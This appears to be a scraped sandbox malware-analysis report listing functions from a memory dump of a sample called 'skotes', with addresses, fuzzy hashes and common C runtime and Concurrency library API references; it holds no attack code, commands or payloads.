Associated: 00000006.00000002.2979464086.00000000003E3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979563451.00000000003E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979662829.00000000003E8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979766674.00000000003EF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979863912.00000000003F0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979962097.00000000003F8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980030613.00000000003F9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980125576.00000000003FA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980227880.0000000000402000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980421694.000000000041D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980503317.0000000000421000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980503317.000000000043F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980692553.000000000046B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980778096.000000000046C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980867276.000000000046F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980941400.0000000000471000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980991090.0000000000480000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000_skotes.jbxd

Yara matches

Similarity

API ID: __freea$__alloca_probe_16$AllocateHeap
String ID:
API String ID: 1423051803-0
Opcode ID: cbec6d058f234b42b830195791419d860a340f3d95d223909aeb0c7eb6447a60
Instruction ID: 462d36501e8533f57a93ffabac8ff9fd3c6058d218ba6ad82ede493644a8266a
Opcode Fuzzy Hash: cbec6d058f234b42b830195791419d860a340f3d95d223909aeb0c7eb6447a60
Instruction Fuzzy Hash: 2F51F372604206AFEB25AFA4DC91FBB3BA9DFB4720F25012DFD05A7151EB70DC1086A5

Function 001AE8DD Relevance: 7.6, APIs: 5, Instructions: 117COMMON

Download Yara Rule

APIs

Concurrency::location::_Assign.LIBCMT ref: 001AE91E
Concurrency::details::ScheduleGroupSegmentBase::AddRunnableContext.LIBCONCRT ref: 001AE926
Concurrency::details::ContextBase::TraceContextEvent.LIBCMT ref: 001AE950
Concurrency::details::ScheduleGroupSegmentBase::ReleaseInternalContext.LIBCMT ref: 001AE959
Concurrency::details::VirtualProcessor::MakeAvailable.LIBCONCRT ref: 001AE9DC

Memory Dump Source

Source File: 00000006.00000002.2974802669.0000000000181000.00000040.00000001.01000000.00000008.sdmp, Offset: 00180000, based on PE: true

Associated: 00000006.00000002.2974620458.0000000000180000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2974802669.00000000001E2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2975238196.00000000001E9000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2975388847.00000000001EB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2975507603.00000000001F7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976140670.0000000000345000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976317830.0000000000348000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976429791.0000000000358000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976429791.0000000000362000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976672343.000000000036C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976809142.000000000036F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976975738.0000000000378000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977129481.000000000037F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977294228.0000000000394000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977500329.0000000000395000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977611697.000000000039E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977824513.00000000003AB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978078702.00000000003C4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978306319.00000000003C8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978432341.00000000003C9000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978548767.00000000003CD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978675529.00000000003CE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978857853.00000000003D2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978966178.00000000003D3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979043383.00000000003D9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979125567.00000000003DA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979242015.00000000003DB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979358822.00000000003E1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979464086.00000000003E3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979563451.00000000003E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979662829.00000000003E8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979766674.00000000003EF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979863912.00000000003F0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979962097.00000000003F8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980030613.00000000003F9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980125576.00000000003FA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980227880.0000000000402000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980421694.000000000041D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980503317.0000000000421000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980503317.000000000043F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980692553.000000000046B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980778096.000000000046C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980867276.000000000046F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980941400.0000000000471000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980991090.0000000000480000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::Context$Base::$GroupScheduleSegment$AssignAvailableConcurrency::location::_EventInternalMakeProcessor::ReleaseRunnableTraceVirtual
String ID:
API String ID: 512098550-0
Opcode ID: dbb17d6ad483aa4c9c33be55fdff1214924f37621f40b8210cedcb4a21fdc866
Instruction ID: 212843e00bc218bc165b56fbbceab6836b2fb368609925e69b0ad590c5ddfedd
Opcode Fuzzy Hash: dbb17d6ad483aa4c9c33be55fdff1214924f37621f40b8210cedcb4a21fdc866
Instruction Fuzzy Hash: 35416079A01619EFCF09DFA8C854A6DB7B6FF89310F048159E906A7390CB74AE41CF81

Function 0019ECE6 Relevance: 7.6, APIs: 5, Instructions: 101COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 0019ECED
Concurrency::details::_NonReentrantPPLLock::_Scoped_lock::_Scoped_lock.LIBCONCRT ref: 0019ED17

Part of subcall function 0019F3DD: Concurrency::critical_section::_Acquire_lock.LIBCONCRT ref: 0019F3FA

__alloca_probe_16.LIBCMT ref: 0019ED53
Concurrency::details::EventWaitNode::Satisfy.LIBCONCRT ref: 0019ED94
Concurrency::details::_ReaderWriterLock::_Scoped_lock::~_Scoped_lock.LIBCONCRT ref: 0019EDC6

Memory Dump Source

Source File: 00000006.00000002.2974802669.0000000000181000.00000040.00000001.01000000.00000008.sdmp, Offset: 00180000, based on PE: true

Associated: 00000006.00000002.2974620458.0000000000180000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2974802669.00000000001E2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2975238196.00000000001E9000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2975388847.00000000001EB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2975507603.00000000001F7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976140670.0000000000345000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976317830.0000000000348000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976429791.0000000000358000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976429791.0000000000362000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976672343.000000000036C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976809142.000000000036F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976975738.0000000000378000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977129481.000000000037F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977294228.0000000000394000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977500329.0000000000395000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977611697.000000000039E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977824513.00000000003AB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978078702.00000000003C4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978306319.00000000003C8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978432341.00000000003C9000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978548767.00000000003CD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978675529.00000000003CE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978857853.00000000003D2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978966178.00000000003D3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979043383.00000000003D9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979125567.00000000003DA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979242015.00000000003DB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979358822.00000000003E1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979464086.00000000003E3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979563451.00000000003E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979662829.00000000003E8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979766674.00000000003EF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979863912.00000000003F0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979962097.00000000003F8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980030613.00000000003F9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980125576.00000000003FA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980227880.0000000000402000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980421694.000000000041D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980503317.0000000000421000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980503317.000000000043F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980692553.000000000046B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980778096.000000000046C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980867276.000000000046F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980941400.0000000000471000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980991090.0000000000480000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::_Lock::_Scoped_lock$Acquire_lockConcurrency::critical_section::_Concurrency::details::EventH_prolog3_Node::ReaderReentrantSatisfyScoped_lock::_Scoped_lock::~_WaitWriter__alloca_probe_16
String ID:
API String ID: 2568206803-0
Opcode ID: cde99a88ecb48ac7e763e45f8f54333d0e641f6f5245dfdfc03a1ef7ab6e5371
Instruction ID: 44606ddb1ce3edf2f4b5c022aea120a3e4e0d764fa269561f7384a1e66dc03d2
Opcode Fuzzy Hash: cde99a88ecb48ac7e763e45f8f54333d0e641f6f5245dfdfc03a1ef7ab6e5371
Instruction Fuzzy Hash: BA318BB1E002158BCF19DFA8C9416ADB7F5EF19310F25406EE845E7391DB35AE02CBA1

Function 001AD2B9 Relevance: 7.6, APIs: 5, Instructions: 97COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::ReferenceCountedQuickBitSet::InterlockedSet.LIBCONCRT ref: 001AD344
ListArray.LIBCONCRT ref: 001AD367
Concurrency::details::SchedulerBase::VirtualProcessorActive.LIBCONCRT ref: 001AD370
ListArray.LIBCONCRT ref: 001AD3A8
Concurrency::details::VirtualProcessor::MakeAvailable.LIBCONCRT ref: 001AD3B3

Memory Dump Source

Source File: 00000006.00000002.2974802669.0000000000181000.00000040.00000001.01000000.00000008.sdmp, Offset: 00180000, based on PE: true

Associated: 00000006.00000002.2974620458.0000000000180000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2974802669.00000000001E2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2975238196.00000000001E9000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2975388847.00000000001EB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2975507603.00000000001F7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976140670.0000000000345000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976317830.0000000000348000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976429791.0000000000358000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976429791.0000000000362000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976672343.000000000036C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976809142.000000000036F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976975738.0000000000378000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977129481.000000000037F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977294228.0000000000394000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977500329.0000000000395000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977611697.000000000039E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977824513.00000000003AB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978078702.00000000003C4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978306319.00000000003C8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978432341.00000000003C9000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978548767.00000000003CD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978675529.00000000003CE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978857853.00000000003D2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978966178.00000000003D3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979043383.00000000003D9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979125567.00000000003DA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979242015.00000000003DB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979358822.00000000003E1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979464086.00000000003E3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979563451.00000000003E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979662829.00000000003E8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979766674.00000000003EF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979863912.00000000003F0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979962097.00000000003F8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980030613.00000000003F9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980125576.00000000003FA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980227880.0000000000402000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980421694.000000000041D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980503317.0000000000421000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980503317.000000000043F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980692553.000000000046B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980778096.000000000046C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980867276.000000000046F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980941400.0000000000471000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980991090.0000000000480000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$ArrayListVirtual$ActiveAvailableBase::CountedInterlockedMakeProcessorProcessor::QuickReferenceSchedulerSet::
String ID:
API String ID: 4212520697-0
Opcode ID: 2e84070075dcb9a3f95bd8febebde1c82238ae3afe6bc82d4db5fe6e6401c357
Instruction ID: e22dbd812efb054492dd69037b761d19d58766c6eaa970cb011ffe1bb1f74f10
Opcode Fuzzy Hash: 2e84070075dcb9a3f95bd8febebde1c82238ae3afe6bc82d4db5fe6e6401c357
Instruction Fuzzy Hash: 3631B279701610AFCF09DF64D885BADB7B6BF8A310F050199E8069B392CB70ED41CB92

Function 001A86C9 Relevance: 7.6, APIs: 5, Instructions: 88COMMON

Download Yara Rule

APIs

_SpinWait.LIBCONCRT ref: 001A86EE

Part of subcall function 0019EAD0: _SpinWait.LIBCONCRT ref: 0019EAE8

Concurrency::details::ContextBase::ClearAliasTable.LIBCONCRT ref: 001A8702
Concurrency::details::_ReaderWriterLock::_AcquireWrite.LIBCONCRT ref: 001A8734
List.LIBCMT ref: 001A87B7
List.LIBCMT ref: 001A87C6

Memory Dump Source

Source File: 00000006.00000002.2974802669.0000000000181000.00000040.00000001.01000000.00000008.sdmp, Offset: 00180000, based on PE: true

Associated: 00000006.00000002.2974620458.0000000000180000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2974802669.00000000001E2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2975238196.00000000001E9000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2975388847.00000000001EB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2975507603.00000000001F7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976140670.0000000000345000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976317830.0000000000348000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976429791.0000000000358000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976429791.0000000000362000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976672343.000000000036C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976809142.000000000036F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976975738.0000000000378000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977129481.000000000037F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977294228.0000000000394000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977500329.0000000000395000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977611697.000000000039E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977824513.00000000003AB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978078702.00000000003C4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978306319.00000000003C8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978432341.00000000003C9000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978548767.00000000003CD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978675529.00000000003CE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978857853.00000000003D2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978966178.00000000003D3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979043383.00000000003D9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979125567.00000000003DA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979242015.00000000003DB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979358822.00000000003E1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979464086.00000000003E3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979563451.00000000003E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979662829.00000000003E8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979766674.00000000003EF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979863912.00000000003F0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979962097.00000000003F8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980030613.00000000003F9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980125576.00000000003FA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980227880.0000000000402000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980421694.000000000041D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980503317.0000000000421000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980503317.000000000043F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980692553.000000000046B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980778096.000000000046C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980867276.000000000046F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980941400.0000000000471000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980991090.0000000000480000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000_skotes.jbxd

Yara matches

Similarity

API ID: ListSpinWait$AcquireAliasBase::ClearConcurrency::details::Concurrency::details::_ContextLock::_ReaderTableWriteWriter
String ID:
API String ID: 3281396844-0
Opcode ID: 8a27ca11a0a2bb60379a786aba1e610175f78f2f5e97f93ba2e3cee1ba56855c
Instruction ID: 0ec603675b1564201d70b739dcc7b0919970e6a3f32770601ecdc901ab831be4
Opcode Fuzzy Hash: 8a27ca11a0a2bb60379a786aba1e610175f78f2f5e97f93ba2e3cee1ba56855c
Instruction Fuzzy Hash: B231573AD01655DFCF14EFA8C5816DDB7B1BF16318F24006AD40167252DB31AD04CB95

Function 001B182A Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 85COMMON

Download Yara Rule

APIs

std::invalid_argument::invalid_argument.LIBCONCRT ref: 001B18A4
Concurrency::details::FreeVirtualProcessorRoot::SpinUntilIdle.LIBCONCRT ref: 001B18EB

Strings

pContext, xrefs: 001B189C

Memory Dump Source

Source File: 00000006.00000002.2974802669.0000000000181000.00000040.00000001.01000000.00000008.sdmp, Offset: 00180000, based on PE: true

Associated: 00000006.00000002.2974620458.0000000000180000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2974802669.00000000001E2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2975238196.00000000001E9000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2975388847.00000000001EB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2975507603.00000000001F7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976140670.0000000000345000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976317830.0000000000348000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976429791.0000000000358000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976429791.0000000000362000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976672343.000000000036C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976809142.000000000036F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976975738.0000000000378000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977129481.000000000037F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977294228.0000000000394000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977500329.0000000000395000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977611697.000000000039E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977824513.00000000003AB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978078702.00000000003C4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978306319.00000000003C8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978432341.00000000003C9000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978548767.00000000003CD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978675529.00000000003CE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978857853.00000000003D2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978966178.00000000003D3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979043383.00000000003D9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979125567.00000000003DA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979242015.00000000003DB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979358822.00000000003E1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979464086.00000000003E3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979563451.00000000003E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979662829.00000000003E8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979766674.00000000003EF000.00000080.00000001.01000000.00000008.sdmpDownload File
